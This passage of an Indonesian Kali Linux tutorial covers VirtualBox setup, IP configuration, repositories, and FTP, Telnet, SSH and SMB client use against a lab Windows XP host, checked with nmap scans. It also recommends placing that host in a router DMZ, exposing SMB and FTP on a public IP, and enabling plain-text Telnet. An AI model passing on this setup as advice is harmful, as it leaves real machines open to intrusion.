Internal Network digunakan jika anda ingin membuat jaringan antar virtual machine tanpa melibatkan VirtualBox Host-Only Network serta jaringan komputer yang ada diluar. Contohnya seperti di bawah ini, Virtual Machine Windows XP pada Network di adapter 1 dikonfigurasi Attached to Internal Network.

Setting IP Address pada Virtual Machine Windows XP. Di sini IP Address yang digunakan Windows XP adalah IP Address 192.168.0.31.

Saat Virtual Machine Kali Linux dengan penggunaan Internal Network juga, dan berada dalam 1 jaringan, saat ip address Windows XP di ping seperti di bawah ini, hasilnya Windows XP merespon dari ping yang dilakukan oleh Virtual Machine Kali Linux.

5.4 Memasukkan Virtual Machine yang sudah ada ke VirtualBox

Klik New.

Isi pada name lalu Next.

Pada memory size, gunakan RAM 512 MB.

Pilih Use an exiting virtual hard drive file lalu pilih virtual hard drive file, setelah selesai, klik create.

5.5 Menjalankan Kali Linux dari DVD di VirtualBox

Misal DVD Drive adalah di drive F.

Pada Settings masuk pada bagian Storage lalui tambahkan hoist drive seperti di bawah ini

Jika misal tidak ada DVD Drive dapat menggunakan file ISO Kali linux. Setelah didalam virtualbox sudah dimasukkan DVD Kali linux atau file ISO Kali linux, jalankan virtual machine. Untuk live CD pilihan yang bisa dipilih adalah Live (686-pae) seperti gambar di bawah ini.

Pastikan PAE/NX dalam posisi enable

5.6 Instalasi Kali Linux

Untuk proses intalasi maka masukkan DVD Kali linux di dalam virtualbox atau jika tidak ada DVD Kali linux maka dapat dimasukkan file ISO Kali linux. Setelah dimasukkan DVD Kali linux atau file ISO kali linux maka jalankan virtual machine, saat muncul menu seperti di bawah ini maka pilih Install.

Pilih English

Pilih Other

Kali Linux 2 [Running] - Oracle VM VirtualBox
Machine View Devices Help
[!!] Select your location
The selected location will be used to set your time zone and also for example to help select the system locale. Normally this should be the country where you live.
This is a shortlist of locations based on the language you selected. Choose "other" if your location is not listed.
Country, territory or area:
Antigua and Barbuda
Australia
Botswana
Canada
Hong Kong
India
Ireland
New Zealand
Nigeria
Philippines
Singapore
South Africa
United Kingdom
United States
Zambia
Zimbabwe
other

Pilih Asia

Kali Linux 2 [Running] - Oracle VM VirtualBox
Machine View Devices Help
[!!] Select your location
The selected location will be used to set your time zone and also for example
select the system locale. Normally this should be the country where you live.
Select the continent or region to which your location belongs.
Continent or region:
Africa
Antarctica
Asia
Atlantic Ocean
Caribbean
Central America
Europe
Indian Ocean
North America
Oceania
South America
other
<Go Back>

Pilih Indonesia

Pilih United States

Pilih American English

Isi hostname

Untuk domain-name bisa dikosongkan lalu enter

Isi password root

Pilih kota untuk zona waktu

Jika tidak ingin dual boot maka dapat langsung klik guided – use entire use

Jika instalasi ini dilakukan di laptop dan laptop anda ada Windows-nya dan ingin dual boot maka klik manual

Pilihan jika dipilih manual

Setelah klik manual, cari partisi yang tidak digunakan, atau ada harddisk yang tidak digunakan. Misal di sini SCSI2 yang tidak digunakan. Pilih SCSI2 atau sdb.

Muncul pri/log 26.0 GB Free Space, pilih pilihan tersebut

Buat partisi baru

[!!] Partition disks
The maximum size for this partition is 26.8 GB.
Hint: "max" can be used as a shortcut to specify the maximum size, or enter a percentage
(e.g. "20%") to use that percentage of the maximum size.
New partition size:
26.8 GB
Dikurangi untuk swap,
misal dikurangi 2 GB
<Go Back>
<Continue>

The maximum size for this partitio
Hint: "max" can be used as a short
(e.g. "20%") to use that percentag
New partition size:
24.8 GB
<Go Back>

Pilih Primary

Pilih Beginning

Pilih Done setting up the partition

Pilih pri/log 2.0 GB Free Space untuk membuat Swap

Pilih a new partition

Pilih Logical

Pilih swap area

Pilih Done setting up the partition

Pilih Finish partitioning and write change to disk

Pilih Yes

[!!] Partition disks
If you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make further changes manually.
The partition tables of the following devices are changed:
SCSI2 (0,0,0) (sdb)
The following partitions are going to be formatted:
partition #1 of SCSI2 (0,0,0) (sdb) as ext4
partition #5 of SCSI2 (0,0,0) (sdb) as swap
Write the changes to disks?
<Yes>
<No>

Pilihan jika dipilih guided – use entire use.

Pilih All file in one partition

Pilih Finish partitioning and write changes to disk

Pilih Yes

Tunggu instalasi selesai

Troubleshooting

Jika ingin mengganti UUID agar virtualbox dapat digandakan dalam 1 program virtuibox

Ketik di C:\Program files\Oracle\VirtualBox :

vboxmanage internalcommands sethduuid e:\kali2\kali2.vdi

Untuk e:\kali2\kali2.vdi bisa disesuaikan.

Bab 6

Setting IP Address

6.1 IP address

An Internet Protocol address (IP address) is a numerical label assigned to each device (e.g., computer, printer) participating in a computer network that uses the Internet Protocol for communication. An IP address serves two principal functions: host or network interface identification and location addressing. Its role has been characterized as follows: "A name indicates what we seek. An address indicates where it is. A route indicates how to get there."

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/IP_address

6.2 Setting IP Address di kali linux dalam kondisi jika direstart komputernya maka IP address kembali pada konfigurasi sebelumnya

Cara ini dapat membuat seting ip address dilakukan dengan cepat tapi saat direstart akan kembali lagi konfigurasinya seperti semula.

Langkah pertama ketik ifconfig.

Jika ingin setting ip pada eth0 (ethernet) :

Ifconfig eth0 192.168.1.56/24

Jika ingin setting ip pada wlan1 (wireless adapter) :

Ifconfig wlan1 192.168.1.57/24

Jika ingin setting gateway, cek ip gateway yang digunakan. Jika 192.168.1.1 maka ketik :

Route add default gw 192.168.1.1

Jika ingin setting DNS

Ketik cd /etc lalu ketik nano resolv.conf

File resolv.conf dapat diisikan seperti di atas, setelah itu simpan dan keluar.

Ping google.com atau ip lokal yang lain untuk melakukan test jaringan.

Cara settng di atas kelemahannya jika direstart maka anda harus setting lagi, berbeda jika setting dengan edit pada file interfaces di /etc/network/interfaces.

6.3 Setting IP Address di kali linux dalam kondisi jika direstart komputernya, ip address tidak berubah

Berikut caranya untuk setting iP address agar tidak berubah jika direstart komputernya.

Masuk di cd /etc/network lalu buka file interfaces dengan perintah nano interfaces

Isi seperti di atas, jangan lupa diganti ip addressnya dan sesuaikan interfacenya, jika sudah disetting, tekan ctrl + x lalu y untuk menyimpan.

Setelah keluar dari disimpan konfigurasi ip address, netmask dan gateway, berikutnya setting DNS, caranya masuk di /etc/network lalu buka file resolv.conf.

Jika telah set di file interfaces maka buka file resolv.conf di /etc. Cara membuka bisa dengan cara seperti gambar di atas atau dengan perintah nano /etc/resolv.conf lalu enter

Name Server dapat diganti jika ingin diganti.

Berikutnya, keluar dari resolv.conf lalu ketikkan service networking restart lalu enter. Hasilnya akan tampil seperti di bawah ini.

Cek dengan ping google.com atau ping ke laptop lain untuk melihat hasil dari setting ip address.

6.4 Menambah IP Address baru

Jika ingin menambah IP address, tambahkan seperti di bawah ini, dimulai dari auto eth0.1 jika penambahan ip dari eth0.

```
  GNU nano 2.2.6                    File: interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.111
netmask 255.255.255.0
gateway 192.168.1.1

auto eth0.1
iface eth0.1 inet static
address 192.168.1.83
netmask 255.255.255.0
```

Untuk restart koneksi, ketik : service networking restart lalu enter. Untuk melihat hasilnya jalankan perintah ifconfig

```
root@kalidata:/etc/network# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:5b:13:a3
          inet addr:192.168.1.111  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe5b:13a3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:189 errors:0 dropped:0 overruns:0 frame:0
          TX packets:38 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:12347 (12.0 KiB)  TX bytes:2792 (2.7 KiB)

eth0.1    Link encap:Ethernet  HWaddr 08:00:27:5b:13:a3
          inet addr:192.168.1.83  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe5b:13a3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:508 (508.0 B)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:165 errors:0 dropped:0 overruns:0 frame:0
          TX packets:165 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:55957 (54.6 KiB)  TX bytes:55957 (54.6 KiB)

wlan1     Link encap:Ethernet  HWaddr 64:66:b3:1e:a4:cd
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
```

Untuk transfer antar file bisa menggunakan berbagai cara seperti FTP atau SAMBA. Jika ingin client mengambil file di kali linux bisa juga anda mengaktifkan web server dan client diminta untuk melakukan download.

6.5 DHCP Client

```
Edit  View  Search  Terminal  Help
@kalilinux5:/etc/network# ifconfig
      Link encap:Ethernet  HWaddr 08:00:27:b0:08:8c
      inet6 addr: fe80::a00:27ff:feb0:88c/64 Scope:Link
      UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
      RX packets:30 errors:0 dropped:0 overruns:0 frame:0
      TX packets:39 errors:0 dropped:0 overruns:0 carrier
      collisions:0 txqueuelen:1000
      RX bytes:7508 (7.3 KiB)  TX bytes:4449 (4.3 KiB)

      Link encap:Local Loopback
      inet addr:127.0.0.1  Mask:255.0.0.0
      inet6 addr: ::1/128 Scope:Host
      UP LOOPBACK RUNNING  MTU:65536  Metric:1
      RX packets:12 errors:0 dropped:0 overruns:0 frame:0
      TX packets:12 errors:0 dropped:0 overruns:0 carrier
      collisions:0 txqueuelen:0
      RX bytes:720 (720.0 B)  TX bytes:720 (720.0 B)

@kalilinux5:/etc/network# dhclient eth0
ading /etc/samba/smb.conf: smbd only.
@kalilinux5:/etc/network# ifconfig
      Link encap:Ethernet  HWaddr 08:00:27:b0:08:8c
      inet addr:192.168.1.160  Bcast:192.168.1.255  Mask:2
      inet6 addr: fe80::a00:27ff:feb0:88c/64 Scope:Link
      UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
      RX packets:32 errors:0 dropped:0 overruns:0 frame:0
      TX packets:40 errors:0 dropped:0 overruns:0 carrier
```

dhclient eth0

```
Applications  Places                                  Sun Oct 9, 10:31 PM
                                          root@kalilinux5: /etc/network
File  Edit  View  Search  Terminal  Help
  GNU nano 2.2.6                          File: interfaces

# This file describes the network interfaces available on your syst
# and how to activate them. For more information, see interfaces(5)

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
allow-hotplug eth0
iface eth0 inet dhcp
```

Setting DHCP client di file /etc/interfaces

```
root@kalilinux5:/etc/network# service networking restart
[warn] Running /etc/init.d/networking restart is deprecated because it may
rning).
[....] Reconfiguring network interfaces...Internet Systems Consortium DHCP
Copyright 2004-2011 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/eth0/08:00:27:b0:08:8c
Sending on   LPF/eth0/08:00:27:b0:08:8c
Sending on   Socket/fallback
DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 6
DHCPREQUEST on eth0 to 255.255.255.255 port 67
DHCPOFFER from 192.168.1.253
DHCPACK from 192.168.1.253
Reloading /etc/samba/smb.conf: smbd only.
RTNETLINK answers: File exists
bound to 192.168.1.160 -- renewal in 3193 seconds.
[ done.
root@kalilinux5:/etc/network# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:b0:08:8c
          inet addr:192.168.1.160  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feb0:88c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:42 errors:0 dropped:0 overruns:0 frame:0
          TX packets:44 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
```

service networking restart

Bab 7

Mengubah Repository untuk Kali Linux

A software repository is a storage location from which software packages may be retrieved and installed on a computer.

Sumber en.wikipedia.org : https://en.wikipedia.org/wiki/Software_repository

7.1 Mengubah repository untuk Kali Linux

cd /etc/apt

nano sources.list

Ganti isi file dengan isi di bawah ini jika menggunakan kali moto 1.0

deb http://old.kali.org/kali moto main non-free contrib
For source package access, uncomment the following line
deb-src http://old.kali.org/kali moto main non-free contrib

Jika menggunakan Kali sana 2.0

deb http://old.kali.org/kali sana main non-free contrib
For source package access, uncomment the following line
deb-src http://old.kali.org/kali sana main non-free contrib

Jika menggunakan Kali Rolling 2.0

deb http://http.kali.org/kali kali-rolling main contrib non-free
For source package access, uncomment the following line
deb-src http://http.kali.org/kali kali-rolling main contrib non-free

Sumber :

http://docs.kali.org/general-use/kali-linux-sources-list-repositories

Jika sudah dimasukkan maka simpan dengan cara ctrl + x lalu pilih y, setelah itu ketik apt-get update

Bab 8

Aplikasi client di kali linux

8.1 FTP Client di kali linux

The File Transfer Protocol (FTP) is a standard network protocol used to transfer computer files from one host to another host over a TCP-based network, such as the Internet.

FTP is built on a client-server architecture and uses separate control and data connections between the client and the server.[1] FTP users may authenticate themselves using a clear-text sign-in protocol, normally in the form of a username and password, but can connect anonymously if the server is configured to allow it.

Sumber dari en.wikipedia.org : https://en.wikipedia.org/wiki/File_Transfer_Protocol

Ip Address komputer server

Saat discan dengan NMAP

```
root@kalidata:~# nmap 192.168.1.162

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-08 11:12 EDT
Nmap scan report for 192.168.1.162
Host is up (0.00098s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
```

```
root@kalidata:~# ftp 192.168.1.162
ftp: connect: Connection refused
ftp>
```

Mengaktifkan FTP Server lalu dilakukan konfigurasi. FTP Server yang diaktifkan adalah Filezilla.

Klik Add

Isi nama user lalu klik OK

Isi password

Klik Shared Folders lalu Add, pilih drive atau folder yang ingin dishare

Set hak akses yang bisa dilakukan oleh pengguna

Hasilnya setelah dilakukan scan dengan NMAP pada ip address 192.168.1.162

Melakukan koneksi ke server

Set type, server, port, user name dan password, setelah itu klik connect

Hasilnya setelah terkoneksi ke FTP Server dengan client menggunakan Distro Kali Linux.

Melakukan koneksi melalui terminal di Kali Linux

```
root@kalidata:~# ftp 192.168.1.162
Connected to 192.168.1.162.
220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
Name (192.168.1.162:root): admin
331 Password required for admin
Password:
230 Logged on
Remote system type is UNIX.
ftp> dir
200 Port command successful
150 Opening data channel for directory list.
drwxr-xr-x 1 ftp ftp              0 Jun 30  2015 Antamedia
-r-xr-xr-x 1 ftp ftp              0 Dec 08  2013 AUTOEXEC.BAT
-r--r--r-- 1 ftp ftp            211 Dec 08  2013 boot.ini
-r--r--r-- 1 ftp ftp              0 Dec 08  2013 CONFIG.SYS
drwxr-xr-x 1 ftp ftp              0 Dec 08  2013 Documents and Settings
-r-xr-xr-x 1 ftp ftp         282992 Dec 31  2013 Firefox Setup Stub 26.0
-r-xr-xr-x 1 ftp ftp          40960 Dec 08  2013 forward.exe
-r--r--r-- 1 ftp ftp            123 Dec 08  2013 forward.txt
-r-xr-xr-x 1 ftp ftp       22749412 Jun 30  2015 ImmunityDebugger_1_85_s
-r--r--r-- 1 ftp ftp              0 Dec 08  2013 IO.SYS
```

Commands FTP yang bisa dijalankan

```
File  Edit  View  Search  Terminal  Help
-r--r--r-- 1 ftp ftp          16696 Dec 08  2013 trivial_portforward.zip
drwxr-xr-x 1 ftp ftp              0 Aug 08 07:18 WINDOWS
-r-xr-xr-x 1 ftp ftp       21166192 Feb 24  2013 Wireshark-win32-1.8.5.exe
226 Transfer OK
ftp> help
Commands may be abbreviated.  Commands are:

!               dir             mdelete         qc              site
$               disconnect      mdir            sendport        size
account         exit            mget            put             status
append          form            mkdir           pwd             struct
ascii           get             mls             quit            system
bell            glob            mode            quote           sunique
binary          hash            modtime         recv            tenex
bye             help            mput            reget           tick
case            idle            newer           rstatus         trace
cd              image           nmap            rhelp           type
cdup            ipany           nlist           rename          user
chmod           ipv4            ntrans          reset           umask
close           ipv6            open            restart         verbose
cr              lcd             prompt          rmdir           ?
delete          ls              passive         runique
debug           macdef          proxy           send
ftp>
```

List of FTP commands for the Microsoft command-line FTP client

Command-line options

As you're starting the program from a DOS prompt:

ftp [-v] [-d] [-i] [-n] [-g] [-s:filename] [-a] [-w:windowsize] [computer]

-v - Suppresses verbose display of remote server responses.

-n - Suppresses auto-login upon initial connection.

-i - Turns off interactive prompting during multiple file transfers.

-d - Enables debugging, displaying all ftp commands passed between the client and server.

-g - Disables filename globbing, which permits the use of wildcard chracters in local file and path names.

-s:filename - Specifies a text file containing ftp commands; the commands will automatically run after ftp starts. No spaces are allowed in this parameter. Use this switch instead of redirection (>).

-a - Use any local interface when binding data connection.

-w:windowsize - Overrides the default transfer buffer size of 4096.

computer - Specifies the computer name or IP address of the remote computer to connect to. The computer, if specified, must be the last parameter on the line.

Client commands

! - Runs the specified command on the local computer

? - Displays descriptions for ftp commands

append - Appends a local file to a file on the remote computer

ascii - Sets the file transfer type to ASCII, the default

bell - Toggles a bell to ring after each file transfer command is completed (default = OFF)

binary - Sets the file transfer type to binary

bye - Ends the FTP session and exits ftp

cd - Changes the working directory on the remote computer

close - Ends the FTP session and returns to the command interpreter

debug - Toggles debugging (default = OFF)

delete - Deletes a single file on a remote computer

dir - Displays a list of a remote directory's files and subdirectories

disconnect - Disconnects from the remote computer, retaining the ftp prompt

get - Copies a single remote file to the local computer

glob - Toggles filename globbing (wildcard characters) (default = ON)

hash - Toggles hash-sign (#) printing for each data block transferred (default = OFF)

help - Displays descriptions for ftp commands

lcd - Changes the working directory on the local computer

literal - Sends arguments, verbatim, to the remote FTP server

ls - Displays an abbreviated list of a remote directory's files and subdirectories

mdelete - Deletes one or more files on a remote computer

mdir - Displays a list of a remote directory's files and subdirectories

mget - Copies one or more remote files to the local computer

mkdir - Creates a remote directory

mls - Displays an abbreviated list of a remote directory's files and subdirectories

mput - Copies one or more local files to the remote computer

open - Connects to the specified FTP server

prompt - Toggles prompting (default = ON)

put - Copies a single local file to the remote computer

pwd - Displays the current directory on the remote computer (literally, "print working directory")

quit - Ends the FTP session with the remote computer and exits ftp (same as "bye")

quote - Sends arguments, verbatim, to the remote FTP server (same as "literal")

recv - Copies a remote file to the local computer

remotehelp - Displays help for remote commands

rename - Renames remote files

rmdir - Deletes a remote directory

send - Copies a local file to the remote computer (same as "put")

status - Displays the current status of FTP connections

trace - Toggles packet tracing (default = OFF)

type - Sets or displays the file transfer type (default = ASCII)

user - Specifes a user to the remote computer

verbose - Toggles verbose mode (default = ON)

Sumber : http://www.nsftools.com/tips/MSFTP.htm

```
Command Prompt - ftp localhost
C:\Documents and Settings\serverdata>ftp localhost
Connected to server.
220-FileZilla Server version 0.9.37 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
User (server:(none)): admin
331 Password required for admin
Password:
230 Logged on
ftp> dir
200 Port command successful
150 Opening data channel for directory list.
-rwxr-xr-x 1 ftp ftp        103682 Dec 31  2010 animasiphoto.exe
-rw-r--r-- 1 ftp ftp         55525 Dec 31  2010 animasiphoto.zip
-rw-r--r-- 1 ftp ftp          1712 May 22 20:05 bf.php
-rw-r--r-- 1 ftp ftp        307725 Dec 31  2010 c100.php
drwxr-xr-x 1 ftp ftp             0 Dec 30  2010 dat
drwxr-xr-x 1 ftp ftp             0 Jan 19  2011 data
-rw-r--r-- 1 ftp ftp            50 May 23 19:00 dictionary.txt
drwxr-xr-x 1 ftp ftp             0 Dec 30  2010 fakelogin
-rw-r--r-- 1 ftp ftp          9142 Dec 31  2010 franky.rar
-rw-r--r-- 1 ftp ftp          1005 Jan 01  2011 hosts
-rw-r--r-- 1 ftp ftp         29840 Dec 30  2010 index.php
-rw-r--r-- 1 ftp ftp         14065 Jan 14  2011 log.txt
-rw-r--r-- 1 ftp ftp           912 Dec 30  2010 logs.php
-rw-r--r-- 1 ftp ftp          5375 Dec 31  2010 logs.txt
drwxr-xr-x 1 ftp ftp             0 Dec 31  2010 netcat
drwxr-xr-x 1 ftp ftp             0 Dec 30  2010 New Folder
drwxr-xr-x 1 ftp ftp             0 Dec 30  2010 New Folder (2)
drwxr-xr-x 1 ftp ftp             0 Dec 20  2009 xampp
226 Transfer OK
ftp: 1076 bytes received in 0.02Seconds 67.25Kbytes/sec.
ftp>
```

```
Command Prompt - ftp localhost
ftp> open
To localhost
Connected to server.
220-FileZilla Server version 0.9.37 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
User (server:(none)): admin
331 Password required for admin
Password:
230 Logged on
ftp>
```

Perintah-perintah FTP. Ketik help lalu enter untuk mengetahui perintah-perintah di FTP

```
Command Prompt - ftp localhost
ftp> help
Commands may be abbreviated.  Commands are:

!               delete          literal         prompt          send
?               debug           ls              put             status
append          dir             mdelete         pwd             trace
ascii           disconnect      mdir            quit            type
bell            get             mget            quote           user
binary          glob            mkdir           recv            verbose
bye             hash            mls             remotehelp
cd              help            mput            rename
close           lcd             open            rmdir
ftp>
ftp>
```

```
Command Prompt - ftp localhost
ftp> mkdir sistem
257 "/sistem" created successfully
ftp> cd sistem
250 CWD successful. "/sistem" is current directory.
ftp> pwd
257 "/sistem" is current directory.
ftp> cd ..
250 CWD successful. "/" is current directory.
ftp> rmdir sistem
250 Directory deleted successfully
ftp>
```

Membuat direktori adalah mkdir (nama direktori)

Untuk masuk ke direktori adalah cd (nama direktori)

Untuk keluar dari direktori adalah cd ..

Untuk menghapus direktori : rmdir (nama direktori)

```
Command Prompt - ftp localhost
ftp> delete animasiphoto.exe
250 File deleted successfully
ftp>
```

Untuk menghapus file adalah delete (nama file)

```
Command Prompt - ftp localhost
ftp> put c:\x.txt
200 Port command successful
150 Opening data channel for file transfer.
226 Transfer OK
ftp: 2 bytes sent in 0.00Seconds 2000.00Kbytes/sec.
ftp> dir x.txt
200 Port command successful
150 Opening data channel for directory list.
-rw-r--r-- 1 ftp ftp              2 Jun 25 18:32 x.txt
226 Transfer OK
ftp: 56 bytes received in 0.00Seconds 56000.00Kbytes/sec.
ftp>
```

Untuk melakukan copy dari file di komputer kita lalu dikirim ke FTP Server adalah put (letak file itu berada di komputer kita).

```
Command Prompt - ftp localhost
ftp> get logs.txt
200 Port command successful
150 Opening data channel for file transfer.
226 Transfer OK
ftp: 5375 bytes received in 0.03Seconds 173.39Kbytes/sec.
ftp> _
```

Untuk mengambil file dari server maka ketikkan get (nama file).

```
Command Prompt - ftp localhost
ftp> lcd
Local directory now C:\Documents and Settings\serverdata.
ftp>
```

Lcd untuk mengetahui letak hasil copy dari perintah get

Jika menggunakan ADSL Router Modem maka FTP server dapat diakses melalui internet

Ip publik yang digunakan 36.80.254.221

Forward dengan memanfaatkan fitur Virtual Servers. Klik Add New.

Forward akan dilakukan ke ip address 192.168.1.162 dengan port

Hasilnya setelah dilakukan save

Pengujian melakukan koneksi ke FTP Server melalui ip publik

8.2 Penggunaan DMZ

Zona demiliterisasi (dalam bahasa inggris : Demilitarization zone atau DMZ) merupakan istilah dalam sistem keamanan komputer (computer security) yang dapat diartikan : membuka hubungan fisik atau logikal dari jaringan yang lebih ke kecil (private) ke dalam jaringan yang lebih besar, biasanya jaringan yang lebih besar ini tidak secara khusus ditangani oleh jaringan yang lebih kecil.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Zona_demiliterisasi_%28komputer%29

DMZ Status Enabled. DMZ Host IP Address 192.168.1.162.

Ip address 36.80.254.221 dilakukan scan dengan NMAP

Service SMB dapat diakses melalui ip publik 36.80.253.221.

Selain SMB, FTP Server juga bisa diakses.

```
root@kalidata:~# ftp 36.80.253.221
Connected to 36.80.253.221.
220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
Name (36.80.253.221:root): admin
331 Password required for admin
Password:
230 Logged on
Remote system type is UNIX.
```

Mengubah Port FTP

Klik Edit lalu Settings.

Pada General settings. Listen on these ports dapat diganti, misalnya 2121.

Hasilnya saat dilakukan scan menggunakan NMAP port 2121 terdeteksi

```
root@kalidata:~# nmap 192.168.1.162

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-08 12:20 EDT
Nmap scan report for 192.168.1.162
Host is up (0.00067s latency).
Not shown: 992 closed ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
2121/tcp open  ccproxy-ftp
```

Diakses melalui FTP client, hasilnya client berhasil login ke FTP Server

Hasil setelah login

8.3 Telnet Client di kali linux

Telnet (Telecommunication network) adalah sebuah protokol jaringan yang digunakan pada Internet atau Local Area Network untuk menyediakan fasilitas komunikasi berbasis teks interaksi dua arah yang menggunakan koneksi virtual terminal. TELNET dikembangkan pada 1969 dan distandarisasi sebagai IETF STD 8, salah satu standar Internet pertama. TELNET memiliki beberapa keterbatasan yang dianggap sebagai risiko keamanan.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Telnet

Ip address 192.168.1.162 dilakukan dengan NMAP

```
root@kalidata:~# nmap 192.168.1.162

Starting Nmap 6.46 ( http://nmap.org ) at 2015-
Nmap scan report for 192.168.1.162
Host is up (0.00086s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
```

Hasilnya tidak ditemukan service telnet aktif. Saat diperiksa dengan mengakses, hasilnya adalah telnet: Unable to connect to remote host: Connection refused.

```
root@kalidata:~# telnet 192.168.1.162
Trying 192.168.1.162...
telnet: Unable to connect to remote host: Connection refused
root@kalidata:~#
```

Pengaktifan Telnet Server. Klik start lalu Control Panel.

Klik Administrative Tools

Pilih Services

Pilih Telnet lalu klik kanan, pilih Properties.

Startup Type bisa dipilih Automatic, lalu apply. Klik Start.

Untuk username dan password menggunakan account user Windows.

Hasilnya saat dilakukan scan, port 23 dengan service telnet terbuka.

Hasilnya saat telnet diakses dengan account user Windows, hasilnya client berhasil masuk ke dalam Server.

```
File  Edit  View  Search  Terminal  Help
root@kalidata:~# telnet 192.168.1.162
Trying 192.168.1.162...
Connected to 192.168.1.162.
Escape character is '^]'.
Welcome to Microsoft Telnet Service

login: router
password:

*===============================================================
Welcome to Microsoft Telnet Server.
*===============================================================
C:\Documents and Settings\router>ver
Microsoft Windows XP [Version 5.1.2600]

C:\Documents and Settings\router>
```

8.4 SSH Client di kali linux

Secure Shell (SSH) adalah sebuah protokol jaringan kriptografi untuk komunikasi data yang aman, login antarmuka baris perintah, perintah eksekusi jarak jauh, dan layanan jaringan lainnya antara dua jaringan komputer.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/SSH

Saat dlakukan scan dengan NMAP pada ip address 192.168.1.162 tidak ditemukan service SSH.

```
root@kalidata:~# nmap 192.168.1.162

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-08 11:25 EDT
Nmap scan report for 192.168.1.162
Host is up (0.00066s latency).
Not shown: 991 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
23/tcp   open  telnet
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
```

Saat melakukan koneksi pun tidak bisa karena port 22 dengan service SSH tidak ada.

```
root@kalidata:~# ssh 192.168.1.162
ssh: connect to host 192.168.1.162 port 22: Connection refused
root@kalidata:~#
```

Di aplikasi Server FreeSSHD, diaktifkan.

Untuk account, klik users lalu bisa Add, untuk edit bisa double klik pada user yang dibuat.

Saat melakukan koneksi ke SSH, hasilnya Kali Linux dapat melakukan remote komputer dengan ip address 192.168.1.162.

```
File  Edit  View  Search  Terminal  Help
root@kalidata:~# ssh admin@192.168.1.162
admin@192.168.1.162's password:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\router>
```

8.5 SMB Client di kali linux

Server Message Block disingkat SMB adalah istilah bahasa Inggris dalam teknologi informasi yang mengacu kepada protokol client/server yang ditujukan sebagai layanan untuk berbagi berkas (file sharing) di dalam sebuah jaringan. Protokol ini seringnya digunakan di dalam sistem operasi Microsoft Windows dan IBM OS/2. Sistem operasi berbasis UNIX juga dapat menggunakannya dengan tambahan perangkat lunak yang disebut dengan SAMBA.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Server_Message_Block

Msal folder data dilakukan sharing.

Komputer dengan Distro Kali Linux melakukan koneksi ke SMB Service pada komputer OS Windows dengan ip address 192.168.1.162.

Hasilnya pengguna distro Kali linux dapat mengakses folder yang dilakukan share oleh komputer Windows dengan ip address 192.168.1.162.

Jika menggunakan terminal :

```
root@dhcppc4:~# smbclient \\\\192.168.1.9\\a
Enter root's password:
session request to 192.168.1.9 failed (Called name not present)
Domain=[KURNIAWANAJA] OS=[Windows 8.1 Pro 9600] Server=[Windows 8
smb: \> ls -l
NT_STATUS_NO_SUCH_FILE listing \-l
smb: \> dir
  .                                   D        0  Mon Oct 10 04:5
  ..                                  D        0  Mon Oct 10 04:5
